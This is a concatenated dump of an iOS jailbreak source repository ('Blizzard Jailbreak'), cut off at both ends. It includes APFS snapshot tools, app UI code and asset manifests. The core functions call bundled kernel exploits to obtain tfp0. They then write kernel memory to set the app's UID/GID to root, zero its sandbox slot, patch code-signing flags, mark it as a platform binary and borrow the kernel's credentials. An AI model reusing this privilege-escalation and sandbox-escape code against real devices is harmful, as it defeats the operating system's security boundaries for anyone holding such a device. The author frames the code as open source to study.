Unjailbreak: Temporarily setting kernel credentials\n"); uint64_t creds = copyPIDCredentials(getpid(), 0); if (kCFCoreFoundationVersionNumber < 1452.23) { int retval = fs_snapshot_rename(open("/", O_RDONLY, 0), "orig-fs", systemSnapshot(copyBootHash()), 0); if (access("/var/MobileSoftwareUpdate/mnt1", F_OK)) { int retv = mkdir("/var/MobileSoftwareUpdate/mnt1", 0755); if (retv != 0){ printf("Blizzard Unjailbreak: Failed to unjailbreak. Cannot access /var/MobileSoftwareUpdate/mnt1\n"); printf("Blizzard Unjailbreak: Restoring our credentials\n"); uint64_t proc_smp = proc_of_pid(getpid()); wk64(proc_smp + off_p_ucred, creds); return -1; } } if (retval == 0){ printf("Blizzard Unjailbreak: Successfully restored the default APFS Snapshot!\n"); if (verifySnapshot("/", "orig-fs") == 1) { retval = spawnBinaryWithArgs([NSURL fileURLWithPath:@"/sbin/mount_apfs"], @[@"-s", @"orig-fs", @"/", @"/var/MobileSoftwareUpdate/mnt1"]); } else { retval = spawnBinaryWithArgs([NSURL fileURLWithPath:@"/sbin/mount_apfs"], @[@"-s", [NSString stringWithFormat:@"%s", systemSnapshot(copyBootHash())], @"/", @"/var/MobileSoftwareUpdate/mnt1"]); } retval = checkifFileExistsAndWait("/var/MobileSoftwareUpdate/mnt1/sbin/launchd"); if (retval == 0){ retval = spawnBinaryWithArgs([NSURL fileURLWithPath:@"/usr/bin/rsync"], @[@"-vaxcH", @"--progress", @"--delete-after", @"/var/MobileSoftwareUpdate/mnt1/.", @"/"]); if (retval == 0){ printf("Blizzard Unjailbreak: Restoring our credentials\n"); uint64_t proc_smp = proc_of_pid(getpid()); wk64(proc_smp + off_p_ucred, creds); return 0; } } } } else { int retvalue = fs_snapshot_rename(open("/", O_RDONLY, 0), "orig-fs", systemSnapshot(copyBootHash()), 0); if (retvalue == 0){ printf("Blizzard Unjailbreak: Restoring our credentials\n"); uint64_t proc_smp = proc_of_pid(getpid()); wk64(proc_smp + off_p_ucred, creds); return 0; } } return 0; } ================================================ FILE: APFS Utilities/snapshot_tools.c ================================================ #import "../Kernel Utilities/kernel_utils.h" #import "../PatchFinder/patchfinder64.h" #import "../Exploits/sock_port/offsetof.h" #import "../Exploits/sock_port/offsets.h" #import #include "../Exploits/sock_port/include/IOKit/IOKitLib.h" #import #import #import #include "snapshot_tools.h" #include "../Blizzard Jailbreak/BlizzardSpawnerTools.h" #include "../Blizzard Jailbreak/blizzardJailbreak.h" typedef struct val_attrs { uint32_t length; attribute_set_t returned; attrreference_t name_info; } val_attrs_t; int list_snapshots(const char *vol){ int dirfd = open(vol, O_RDONLY, 0); if (dirfd < 0) { perror("get_dirfd"); printf("List Snapshots: Failed to open file descriptor!\n"); return -1; } struct attrlist alist = { 0 }; char abuf[2048]; alist.commonattr = ATTR_BULK_REQUIRED; int count = fs_snapshot_list(dirfd, &alist, &abuf[0], sizeof (abuf), 0); if (count < 0) { perror("fs_snapshot_list"); printf("List Snapshots: Failed to list Snapshots!\n"); return -1; } char *p = &abuf[0]; for (int i = 0; i < count; i++) { char *field = p; uint32_t len = *(uint32_t *)field; field += sizeof (uint32_t); attribute_set_t attrs = *(attribute_set_t *)field; field += sizeof (attribute_set_t); if (attrs.commonattr & ATTR_CMN_NAME) { attrreference_t ar = *(attrreference_t *)field; char *name = field + ar.attr_dataoffset; field += sizeof (attrreference_t); (void) printf("\t ->> %s\n", name); } p += len; } return (0); } char *copyBootHash() { io_registry_entry_t chosen = IORegistryEntryFromPath(kIOMasterPortDefault, "IODeviceTree:/chosen"); unsigned char buf[1024]; uint32_t size = 1024; char *hash; if (chosen && chosen != -1) { kern_return_t ret = IORegistryEntryGetProperty(chosen, "boot-manifest-hash", (char*)buf, &size); IOObjectRelease(chosen); if (ret) { printf("List Snapshots: Unable to read boot-manifest-hash\n"); hash = NULL; } else { char *result = (char*)malloc((2 * size) | 1); memset(result, 0, (2 * size) | 1); int i = 0; while (i < size) { unsigned char ch = buf[i]; sprintf(result + 2 * i++, "%02X", ch); } printf("List Snapshots: Hash: %s\n", result); hash = strdup(result); } } else { printf("List Snapshots: Unable to get IODeviceTree:/chosen port\n"); hash = NULL; } return hash; } char *find_system_snapshot() { const char *hash = copyBootHash(); size_t len = strlen(hash); char *str = (char*)malloc(len + 29); memset(str, 0, len + 29); if (!hash) return 0; sprintf(str, "com.apple.os.update-%s", hash); printf("List Snapshots: System snapshot: %s\n", str); return str; } int createNewAPFSSnapshot(const char *volume, const char *snapshot) { int retvalue; printf("APFS Utilities: Preparing to create a new Snapshot...\n"); int fileDescriptor = get_dirfd(volume); if (fileDescriptor < 0) { perror("open"); printf("APFS Utilities: Failed to create a Snapshot! Error at get_dirfd.\n"); return -1; } retvalue = fs_snapshot_create(fileDescriptor, snapshot, 0); close(fileDescriptor); if (retvalue != 0) { perror("fs_snapshot_create"); printf("APFS Utilities: Failed to create a Snapshot! Error at fs_snapshot_create()\n"); return -1; } return 0; } int renameAPFSSnapshot(const char *volume, const char *snapshot, const char *nw) { int retvalue; int fileDescriptor = open(volume, O_RDONLY); if (fileDescriptor < 0) { perror("open"); printf("APFS Utilities: RENAME: Cannot open file descriptor.\n"); return -1; } retvalue = fs_snapshot_rename(fileDescriptor, snapshot, nw, 0); close(fileDescriptor); if (retvalue != 0) { perror("fs_snapshot_rename\n"); printf("APFS Utilities: RENAME: Failed to rename a Snapshot! Error at fs_snapshot_rename()\n"); } return 0; } int verifySnapshot(const char *vol, const char *name){ struct attrlist attr_list = { 0 }; attr_list.commonattr = ATTR_BULK_REQUIRED; char *buf = (char*)calloc(2048, sizeof(char)); int retcount; int fd = open(vol, O_RDONLY, 0); while ((retcount = fs_snapshot_list(fd, &attr_list, buf, 2048, 0))>0) { char *bufref = buf; for (int i=0; ireturned.commonattr & ATTR_CMN_NAME) { printf("%s\n", (char*)(&entry->name_info) + entry->name_info.attr_dataoffset); if (strstr((char*)(&entry->name_info) + entry->name_info.attr_dataoffset, name)){ return 1; } } bufref += entry->length; } } free(buf); close(fd); if (retcount < 0) { perror("fs_snapshot_list"); printf("List Snapshots: Failed to list snapshots!\n"); return -1; } return 0; } int mountSnapshot(const char *vol, const char *name, const char *dir) { int proces_pid; proces_pid = launchProcessFrozen("/sbin/mount_apfs", "-s", (char *)name, (char *)vol, (char *)dir, NULL, NULL, NULL); copyPIDCredentials(proces_pid, 0); kill(proces_pid, SIGCONT); int a; if (proces_pid != -1) waitpid(proces_pid, &a, 0); return WEXITSTATUS(a); } ================================================ FILE: APFS Utilities/snapshot_tools.h ================================================ #ifndef apfs_util_h #define apfs_util_h #define get_dirfd(vol) open(vol, O_RDONLY, 0) char *find_snapshot_with_ref(const char *vol, const char *ref); char *find_system_snapshot(void); int createNewAPFSSnapshot(const char *volume, const char *snapshot); int renameAPFSSnapshot(const char *volume, const char *snapshot, const char *nw); int list_snapshots(const char *vol); int check_snapshot(const char *vol, const char *snap); char *copyBootHash(void); int renameAPFSSnapshot(const char *vol, const char *snap, const char *nw); int verifySnapshot(const char *vol, const char *name); #endif /* apfs_util_h */ ================================================ FILE: Blizzard Jailbreak/AppDelegate.h ================================================ // // AppDelegate.h // sock_port // // Created by Jake James on 7/17/19. // Copyright © 2019 Jake James. All rights reserved. // #import @interface AppDelegate : UIResponder @property (strong, nonatomic) UIWindow *window; @end ================================================ FILE: Blizzard Jailbreak/AppDelegate.m ================================================ // // AppDelegate.m // sock_port // // Created by Jake James on 7/17/19. // Copyright © 2019 Jake James. All rights reserved. // #import "AppDelegate.h" @interface AppDelegate () @end @implementation AppDelegate - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { return YES; } - (void)applicationWillResignActive:(UIApplication *)application { // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game. } - (void)applicationDidEnterBackground:(UIApplication *)application { // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later. // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits. } - (void)applicationWillEnterForeground:(UIApplication *)application { // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background. } - (void)applicationDidBecomeActive:(UIApplication *)application { // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface. } - (void)applicationWillTerminate:(UIApplication *)application { // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. } @end ================================================ FILE: Blizzard Jailbreak/Assets.xcassets/AppIcon.appiconset/Contents.json ================================================ { "images" : [ { "size" : "20x20", "idiom" : "iphone", "filename" : "notification-icon@2x.png", "scale" : "2x" }, { "size" : "20x20", "idiom" : "iphone", "filename" : "notification-icon@3x.png", "scale" : "3x" }, { "size" : "29x29", "idiom" : "iphone", "filename" : "icon-small.png", "scale" : "1x" }, { "size" : "29x29", "idiom" : "iphone", "filename" : "icon-small@2x.png", "scale" : "2x" }, { "size" : "29x29", "idiom" : "iphone", "filename" : "icon-small@3x.png", "scale" : "3x" }, { "size" : "40x40", "idiom" : "iphone", "filename" : "icon-40@2x.png", "scale" : "2x" }, { "size" : "40x40", "idiom" : "iphone", "filename" : "icon-40@3x.png", "scale" : "3x" }, { "size" : "57x57", "idiom" : "iphone", "filename" : "icon.png", "scale" : "1x" }, { "size" : "57x57", "idiom" : "iphone", "filename" : "icon@2x.png", "scale" : "2x" }, { "size" : "60x60", "idiom" : "iphone", "filename" : "icon-60@2x.png", "scale" : "2x" }, { "size" : "60x60", "idiom" : "iphone", "filename" : "icon-60@3x.png", "scale" : "3x" }, { "size" : "20x20", "idiom" : "ipad", "filename" : "notification-icon~ipad.png", "scale" : "1x" }, { "size" : "20x20", "idiom" : "ipad", "filename" : "notification-icon~ipad@2x.png", "scale" : "2x" }, { "size" : "29x29", "idiom" : "ipad", "filename" : "icon-small.png", "scale" : "1x" }, { "size" : "29x29", "idiom" : "ipad", "filename" : "icon-small@2x.png", "scale" : "2x" }, { "size" : "40x40", "idiom" : "ipad", "filename" : "icon-40.png", "scale" : "1x" }, { "size" : "40x40", "idiom" : "ipad", "filename" : "icon-40@2x.png", "scale" : "2x" }, { "size" : "50x50", "idiom" : "ipad", "filename" : "icon-small-50.png", "scale" : "1x" }, { "size" : "50x50", "idiom" : "ipad", "filename" : "icon-small-50@2x.png", "scale" : "2x" }, { "size" : "72x72", "idiom" : "ipad", "filename" : "icon-72.png", "scale" : "1x" }, { "size" : "72x72", "idiom" : "ipad", "filename" : "icon-72@2x.png", "scale" : "2x" }, { "size" : "76x76", "idiom" : "ipad", "filename" : "icon-76.png", "scale" : "1x" }, { "size" : "76x76", "idiom" : "ipad", "filename" : "icon-76@2x.png", "scale" : "2x" }, { "size" : "83.5x83.5", "idiom" : "ipad", "filename" : "icon-83.5@2x.png", "scale" : "2x" }, { "size" : "1024x1024", "idiom" : "ios-marketing", "filename" : "ios-marketing.png", "scale" : "1x" } ], "info" : { "version" : 1, "author" : "xcode" } } ================================================ FILE: Blizzard Jailbreak/Assets.xcassets/Contents.json ================================================ { "info" : { "version" : 1, "author" : "xcode" } } ================================================ FILE: Blizzard Jailbreak/Assets.xcassets/button_mask.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "filename" : "button_mask.png", "scale" : "1x" }, { "idiom" : "universal", "filename" : "button_mask-1.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "button_mask-2.png", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" } } ================================================ FILE: Blizzard Jailbreak/Assets.xcassets/jailbreak_wallpaper.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "filename" : "jailbreak_wallpaper.png", "scale" : "1x" }, { "idiom" : "universal", "filename" : "jailbreak_wallpaper-1.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "jailbreak_wallpaper-2.png", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" } } ================================================ FILE: Blizzard Jailbreak/Assets.xcassets/snow.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "filename" : "snow.png", "scale" : "1x" }, { "idiom" : "universal", "filename" : "snow-1.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "snow-2.png", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" } } ================================================ FILE: Blizzard Jailbreak/Assets.xcassets/winter.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "filename" : "winter.png", "scale" : "1x" }, { "idiom" : "universal", "filename" : "winter-1.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "winter-2.png", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" } } ================================================ FILE: Blizzard Jailbreak/Base.lproj/LaunchScreen.storyboard ================================================ ================================================ FILE: Blizzard Jailbreak/Base.lproj/Main.storyboard ================================================ ================================================ FILE: Blizzard Jailbreak/BlizzardLog.h ================================================ // // BlizzardLog.h // Blizzard Jailbreak // // Created by GeoSn0w on 8/10/20. // Copyright © 2020 GeoSn0w. All rights reserved. // #import NS_ASSUME_NONNULL_BEGIN @interface BlizzardLog : UIViewController @property (weak, nonatomic) IBOutlet UIButton *dismissLog; @property (weak, nonatomic) IBOutlet UITextView *uiLogView; + (instancetype)BlizzLogger; - (void)displaySnapshotNotice; - (void)customizeBtnAtUI; @end NS_ASSUME_NONNULL_END ================================================ FILE: Blizzard Jailbreak/BlizzardLog.m ================================================ // // BlizzardLog.m // Blizzard Jailbreak // // Created by GeoSn0w on 8/10/20. // Copyright © 2020 GeoSn0w. All rights reserved. // #import "BlizzardLog.h" #import "../Kernel Utilities/system_reboot.h" #import "../Exploits/sock_port/exploit.h" #import "../Blizzard Jailbreak/blizzardJailbreak.h" #import "../APFS Utilities/rootfs_remount.h" #import "../Exploits/FreeTheSandbox/freethesandbox.h" #define currentVer(v) ([[[UIDevice currentDevice] systemVersion] compare:@v options:NSNumericSearch] != NSOrderedDescending) @interface BlizzardLog() @end static BlizzardLog *BlizzLogger; @implementation BlizzardLog + (instancetype)BlizzLogger { return BlizzLogger; } int dismissButtonActionType = 0; int IS_BLIZZARD_DEBUG = 0; int shouldUnjailbreak = 0; - (void)viewDidLoad { [super viewDidLoad]; if (IS_BLIZZARD_DEBUG != 1){ [self redirectSTD:STDOUT_FILENO]; } NSRange lastLine = NSMakeRange(self.uiLogView.text.length - 1, 1); [self.uiLogView scrollRangeToVisible:lastLine]; dispatch_async(dispatch_get_global_queue(0, 0), ^{ [self runJailbreak]; dispatch_async(dispatch_get_main_queue(), ^{ //update UI in main thread. }); }); } -(void) runJailbreak { if (currentVer("11.4")){ if (ios11_exploit_init() == 0){ if (shouldUnjailbreak == 1){ if (unjailbreakBlizzard() == 0){ dismissButtonActionType = 1; printf("Unjailbroken!\n"); [self.dismissLog setTitle:@"REBOOT DEVICE" forState:UIControlStateNormal]; } return; } if (remountFileSystem() == 0 && shouldReboot == 1 && shouldUnjailbreak != 1){ dismissButtonActionType = 1; [self.dismissLog setTitle:@"REBOOT DEVICE" forState:UIControlStateNormal]; } else { printf("Used the old remount, tee hee\n"); installBootStrap(); cleanupAfterBlizzard(); } } } else if (currentVer("13.7")){ extern char *get_current_deviceModel(void); printf("Model: %s\n", get_current_deviceModel()); printf("Version: %s\n", [[[UIDevice currentDevice] systemVersion] UTF8String]); extern uint64_t kaslr; extern mach_port_t tfp0_port; // Activate tfp0-persis program mach_port_t midi_bsport = 0; extern kern_return_t bootstrap_look_up(mach_port_t bp, const char *service_name, mach_port_t *sp); bootstrap_look_up(bootstrap_port, "com.apple.midiserver", &midi_bsport); if(!midi_bsport){ //printf("run_exploit_or_achieve_tf0 failed: bootstrap_look_up has problem\n"); exit(1); } mach_port_t stored_ports[3] = {0}; stored_ports[0] = mach_task_self(); stored_ports[2] = midi_bsport; mach_ports_register(mach_task_self(), stored_ports, 3); // Waiting for installation sleep(2); tfp0_port = 0; task_get_special_port(mach_task_self(), TASK_ACCESS_PORT, &tfp0_port); if(tfp0_port == 0){ printf("require to run exploit first\n"); extern bool check_device_compatibility(void); if(check_device_compatibility() == false){ printf("Execution pause: Not found offsets set for current device(model: %s)\n", get_current_deviceModel()); return; } extern void exploit_start(void); iOS13_exploit_init(); printf("persis tfp0 installed, you can quit app now...\n"); return; } stored_ports[2] = 0; mach_ports_register(mach_task_self(), stored_ports, 3); printf("tfp0: 0x%x\n", tfp0_port); pid_for_task(tfp0_port, (int*)&kaslr); printf("kaslr: 0x%x\n", (uint32_t)kaslr); } } - (IBAction)dismissLogWindow:(id)sender { if (dismissButtonActionType == 0){ [self dismissViewControllerAnimated:YES completion:nil]; } else if (dismissButtonActionType == 1){ [self loadSystemNotif]; } } -(void)textViewDidChange:(UITextView *)textView { NSRange lastLine = NSMakeRange(self.uiLogView.text.length - 1, 1); [self.uiLogView scrollRangeToVisible:lastLine]; } - (void)redirectNotificationHandle:(NSNotification *)nf{ NSData *data = [[nf userInfo] objectForKey:NSFileHandleNotificationDataItem]; NSString *str = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; self.uiLogView.text = [NSString stringWithFormat:@"%@\n%@",self.uiLogView.text, str]; NSRange lastLine = NSMakeRange(self.uiLogView.text.length - 1, 1); [self.uiLogView scrollRangeToVisible:lastLine]; [[nf object] readInBackgroundAndNotify]; } - (void)redirectSTD:(int )fd{ setvbuf(stdout, nil, _IONBF, 0); NSPipe * pipe = [NSPipe pipe] ; NSFileHandle *pipeReadHandle = [pipe fileHandleForReading] ; dup2([[pipe fileHandleForWriting] fileDescriptor], fd) ; [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(redirectNotificationHandle:) name:NSFileHandleReadCompletionNotification object:pipeReadHandle] ; [pipeReadHandle readInBackgroundAndNotify]; } - (void)loadSystemNotif { dispatch_async(dispatch_get_main_queue(), ^{ UIAlertController *apfsNoticeController = [UIAlertController alertControllerWithTitle:(@"Blizzard Jailbreak") message:(@"The APFS Snapshot has been successfully renamed! Your device will reboot now. If you wanna jailbreak, please come back to the app and re-jailbreak upon reboot.") preferredStyle:UIAlertControllerStyleAlert]; [apfsNoticeController addAction:[UIAlertAction actionWithTitle:(@"Dismiss") style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) { reboot(RB_NOSYNC); }]]; [self presentViewController:apfsNoticeController animated:YES completion:nil]; }); } @end ================================================ FILE: Blizzard Jailbreak/BlizzardSpawnerTools.c ================================================ // // BlizzardSpawnerTools.c // Blizzard Jailbreak // // Created by GeoSn0w on 8/11/20. // Copyright © 2020 GeoSn0w. All rights reserved. // #include "BlizzardSpawnerTools.h" #import #import #import #import #import #import #import #import #import #import int launchProcessFrozen(char *whom, char *arg1, char *arg2, char *arg3, char *arg4, char *arg5, char *arg6, char**env) { const char* args[] = {whom, arg1, arg2, arg3, arg4, arg5, arg6, NULL}; pid_t process_pid; posix_spawnattr_t attr; posix_spawnattr_init(&attr); posix_spawnattr_setflags(&attr, POSIX_SPAWN_START_SUSPENDED); int returnValue = posix_spawn(&process_pid, whom, NULL, &attr, (char **)&args, env); if (returnValue) { return returnValue; } else { return process_pid; } } ================================================ FILE: Blizzard Jailbreak/BlizzardSpawnerTools.h ================================================ // // BlizzardSpawnerTools.h // Blizzard Jailbreak // // Created by GeoSn0w on 8/11/20. // Copyright © 2020 GeoSn0w. All rights reserved. // #ifndef BlizzardSpawnerTools_h #define BlizzardSpawnerTools_h #include int launchProcessFrozen(char *whom, char *arg1, char *arg2, char *arg3, char *arg4, char *arg5, char *arg6, char**env); #endif /* BlizzardSpawnerTools_h */ ================================================ FILE: Blizzard Jailbreak/Info.plist ================================================ CFBundleDevelopmentRegion $(DEVELOPMENT_LANGUAGE) CFBundleDisplayName BLIZZARD CFBundleExecutable $(EXECUTABLE_NAME) CFBundleIdentifier $(PRODUCT_BUNDLE_IDENTIFIER) CFBundleInfoDictionaryVersion 6.0 CFBundleName $(PRODUCT_NAME) CFBundlePackageType APPL CFBundleShortVersionString 1.0 CFBundleVersion 1 LSRequiresIPhoneOS UILaunchStoryboardName LaunchScreen UIMainStoryboardFile Main UIRequiredDeviceCapabilities armv7 UIRequiresFullScreen UIStatusBarStyle UIStatusBarStyleLightContent UISupportedInterfaceOrientations UIInterfaceOrientationPortrait UISupportedInterfaceOrientations~ipad UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIViewControllerBasedStatusBarAppearance ================================================ FILE: Blizzard Jailbreak/blizzardJailbreak.h ================================================ // // blizzardJailbreak.h // // Created by GeoSn0w on 8/10/20. // Copyright © 2020 GeoSn0w. All rights reserved. // #ifndef blizzardJailbreak_h #define blizzardJailbreak_h #include extern mach_port_t tfp0; void remountFirstStepSys(void); int ios11_exploit_init(void); int rootifyOurselves(void); int rootifyProcessByPid(void); int restoreProcessCredentials(uint64_t creds, pid_t pid); int obtainAPFSSnapshotsList(void); int remountFileSystem(void); int setcsflags(pid_t pid); int prepareKernelForPatchFinder(void); int cleanupAfterBlizzard(void); int installBootStrap(void); uint64_t findOurOwnProcess(void); uint64_t escapeSandboxForProcess(pid_t proc_pid); uint64_t copyPIDCredentials(pid_t processToBeGivenCreds, pid_t donorProcess); #endif /* blizzardJailbreak_h */ ================================================ FILE: Blizzard Jailbreak/blizzardJailbreak.m ================================================ // // blizzardJailbreak.c // // Created by GeoSn0w on 8/10/20. // Copyright © 2020 GeoSn0w. All rights reserved. // #import #include "blizzardJailbreak.h" #include "../Exploits/sock_port/exploit.h" #include #include #include #include #include #include #include #include "../Exploits/sock_port/kernel_memory.h" #include "../Exploits/sock_port/offsetof.h" #include "../Exploits/sock_port/offsets.h" #include "../PatchFinder/patchfinder64.h" #include "../Kernel Utilities/kernel_utils.h" #include "../Kernel Utilities/kexecute.h" #include "BlizzardLog.h" #include "../APFS Utilities/rootfs_remount.h" #include "../APFS Utilities/snapshot_tools.h" #include "../Kernel Utilities/kernSymbolication.h" #include "../AMFI Utilities/amfi_utils.h" #define BlizzardJailbreakPath(obj) strdup([[[[NSBundle mainBundle] bundlePath] stringByAppendingPathComponent:@obj] UTF8String]) int APFS_SNAPSHOT_EXISTS = 1; mach_port_t tfp0 = 0; uint64_t KernelBase; uint64_t defaultCredentials; uint64_t ourProc; void platformize(pid_t pid) { if (!pid) return; uint64_t proc = proc_of_pid(pid); uint64_t task = rk64(proc + off_task); uint32_t t_flags = rk32(task + off_t_flags); t_flags |= 0x400; // add TF_PLATFORM flag, = 0x400 wk32(task+off_t_flags, t_flags); uint32_t csflags = rk32(proc + off_p_csflags); wk32(proc + off_p_csflags, csflags | 0x24004001u); //patch csflags } int ios11_exploit_init(){ printf("Blizzard Jailbreak\nby GeoSn0w (@FCE365)\n\nAn Open-Source Jailbreak for you to study and dissect :-)\n\n"); tfp0 = get_tfp0(); if (MACH_PORT_VALID(tfp0)){ printf("Successfully got tfp0!\n"); init_kernel_utils(tfp0); KernelBase = grabKernelBase(); if (!KernelBase) { printf("ERROR: Failed to find kernel base\n"); return 2; } kernel_slide = (uint32_t)(KernelBase - 0xFFFFFFF007004000); int ret = prepareKernelForPatchFinder(); // patchfinder if (ret != 0) { printf("Failed to initialize patchfinder\n"); return 3; } printf("Initialized patchfinder\n"); ourProc = findOurOwnProcess(); rootifyOurselves(); defaultCredentials = escapeSandboxForProcess(getpid()); initializeKernelExecute(); uint64_t kern_proc = proc_of_pid(0); printf("Kernel Proc is: 0x%llx\n", kern_proc); setcsflags(getpid()); // set some csflags platformize(getpid()); // set TF_PLATFORM return 0; } else { printf("ERROR: Could not get tfp0!\n"); return -1; } } int cleanupAfterBlizzard(){ restoreProcessCredentials(defaultCredentials, getpid()); // Give back our process' credentials, otherwise the device will act weird. terminateKernelExecute(); // Always clean up after your jailbreak components. Helps stability a lot. terminatePatchFinder(); return 0; } int rootifyOurselves(){ printf("Preparing to elevate own privileges to ROOT!\n"); printf(" Current UID: %d\n", getuid()); printf(" Current EUID: %d\n", geteuid()); uint64_t proc = proc_of_pid(getpid()); // Get our PID's PROC structure. uint64_t ucred = rk64(proc + off_p_ucred); //Get our credentials. wk32(proc + off_p_uid, 0); wk32(proc + off_p_ruid, 0); wk32(proc + off_p_gid, 0); wk32(proc + off_p_rgid, 0); wk32(ucred + off_ucred_cr_uid, 0); wk32(ucred + off_ucred_cr_ruid, 0); wk32(ucred + off_ucred_cr_svuid, 0); wk32(ucred + off_ucred_cr_ngroups, 1); wk32(ucred + off_ucred_cr_groups, 0); wk32(ucred + off_ucred_cr_rgid, 0); wk32(ucred + off_ucred_cr_svgid, 0); printf(" New UID: %d\n", getuid()); printf(" New EUID: %d\n", geteuid()); if (getuid() != 501 && geteuid() != 501){ printf("Successfully got ROOT!\n"); } else { printf("ERROR: Failed to get ROOT!\n"); return -1; } return 0; } int restoreProcessCredentials(uint64_t creds, pid_t pid){ uint64_t proc = proc_of_pid(pid); uint64_t ucred = rk64(proc + off_p_ucred); uint64_t cr_label = rk64(ucred + off_ucred_cr_label); wk64(cr_label + off_sandbox_slot, creds); if (rk64(rk64(ucred + off_ucred_cr_label) + off_sandbox_slot) != 0){ printf("Successfully restored the Sandbox!\n"); return 0; } else { printf("ERROR: Failed to restore the Sandbox!\n"); return -1; } } uint64_t escapeSandboxForProcess(pid_t proc_pid) { printf("Preparing to escape the sandbox...\n"); uint64_t target_process; uint64_t ucred; uint64_t sb_cr_label; uint64_t default_creds; if (proc_pid == 0) { printf("ERROR: Will NOT mess with Kernel's PID...\n"); return -2; } target_process = proc_of_pid(proc_pid); ucred = rk64(target_process + off_p_ucred); sb_cr_label = rk64(ucred + off_ucred_cr_label); default_creds = rk64(sb_cr_label + off_sandbox_slot); wk64(sb_cr_label + off_sandbox_slot, 0); /* As far as I am aware, the first slot is used by AMFI. Sandbox should be the second. Read Jonathan Levin's book on the Sandbox chaper for more details about the credentials. */ if (rk64(rk64(ucred + off_ucred_cr_label) + off_sandbox_slot) == 0){ printf("Successfully escaped the Sandbox!\n"); return default_creds; } else { printf("ERROR: Failed to escape the Sandbox!\n"); return -1; } } int rootifyProcessByPid(){ return 0; } uint64_t findOurOwnProcess(){ static uint64_t self = 0; if (!self) { self = rk64(current_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); printf("Found Ourselves at 0x%llx\n", self); } else { printf("ERROR: Cannot find our own process!\n"); } return self; } uint64_t copyPIDCredentials(pid_t processToBeGivenCreds, pid_t donorProcess){ printf("CredentialsCopier: Giving process %d process %d's credentials...\n", processToBeGivenCreds, donorProcess); uint64_t procFromPID = proc_of_pid(processToBeGivenCreds); uint64_t donorproc = proc_of_pid(donorProcess); uint64_t processCredentials = rk64(procFromPID + off_p_ucred); uint64_t donorcred = rk64(donorproc + off_p_ucred); if (procFromPID != 0 || donorcred != 0){ wk64(procFromPID + off_p_ucred, donorcred); printf("CredentialsCopier: Successfully granted credentials from process!\n"); return processCredentials; } else { printf("CredentialsCopier: Failed to copy credentials from process!\n"); return -1; } } int remountFileSystem(){ int returnValue = remountRootFS(); if (returnValue == 0) { printf("ROOT FS REMOUNT: Successfully remounted!\n"); return 0; } else { printf("ROOT FS REMOUNT: Failed to Remount!\n"); return -1; } } int setcsflags(pid_t pid) { if (!pid) return NO; uint64_t proc = proc_of_pid(pid); uint32_t csflags = rk32(proc + off_p_csflags); uint32_t newflags = (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW | CS_DEBUGGED) & ~(CS_RESTRICT | CS_HARD | CS_KILL); wk32(proc + off_p_csflags, newflags); if (rk32(proc + off_p_csflags) == newflags){ printf("Successfully set CodeSign Flags!\n"); return 0; } else { printf("Failed to set CodeSign Flags!\n"); return -1; } } int spawnBinaryAtPath(char *binary, char *arg1, char *arg2, char *arg3, char *arg4, char *arg5, char *arg6, char**env) { pid_t pd; const char* args[] = {binary, arg1, arg2, arg3, arg4, arg5, arg6, NULL}; int rv = posix_spawn(&pd, binary, NULL, NULL, (char **)&args, env); if (rv) return rv; return 0; } int prepareKernelForPatchFinder(){ NSString *kernelNewLocation; NSError *error; NSFileManager *fileManager = [NSFileManager defaultManager]; NSDateFormatter *dateTimeFormat = [[NSDateFormatter alloc] init]; [dateTimeFormat setDateFormat:@"dd.MM.YY:HH.mm.ss"]; NSString *PathToDocuments = [[[fileManager URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject] path]; mkdir(strdup([PathToDocuments UTF8String]), 0777); kernelNewLocation = [PathToDocuments stringByAppendingPathComponent:[NSString stringWithFormat:@"%@_kernelcache", [dateTimeFormat stringFromDate:[NSDate date]]]]; printf("Kernel Decompression: Copying Kernel to %s\n", [kernelNewLocation UTF8String]); [fileManager copyItemAtPath:@"/System/Library/Caches/com.apple.kernelcaches/kernelcache" toPath:kernelNewLocation error:&error]; if (error) { printf("Kernel Decompression: Failed to copy the kernelcache with the following error: %s\n", [[error localizedDescription] UTF8String]); return 4; } if (decompressKernelCache(strdup([kernelNewLocation UTF8String]))) { printf("Kernel Decompression: Error initializing KernelSymbolFinder\n"); return 4; } initializePatchFinderWithBase(0, (char *)[[kernelNewLocation stringByAppendingString:@".dec"] UTF8String]); return 0; } int installBootStrap(){ int retval; printf("Blizzard BOOTSTRAP: Preparing to Bootstrap!\n"); printf("Blizzard BOOTSTRAP: Creating a pre-jailbreak Snapshot! This will be useful in case we wanna un-jailbreak.\n"); int checkSnap = verifySnapshot("/", "Calm-Before-The-Storm"); if (checkSnap != APFS_SNAPSHOT_EXISTS){ printf("Blizzard BOOTSTRAP: Temporarily setting kernel credentials\n"); uint64_t creds = copyPIDCredentials(getpid(), 0); 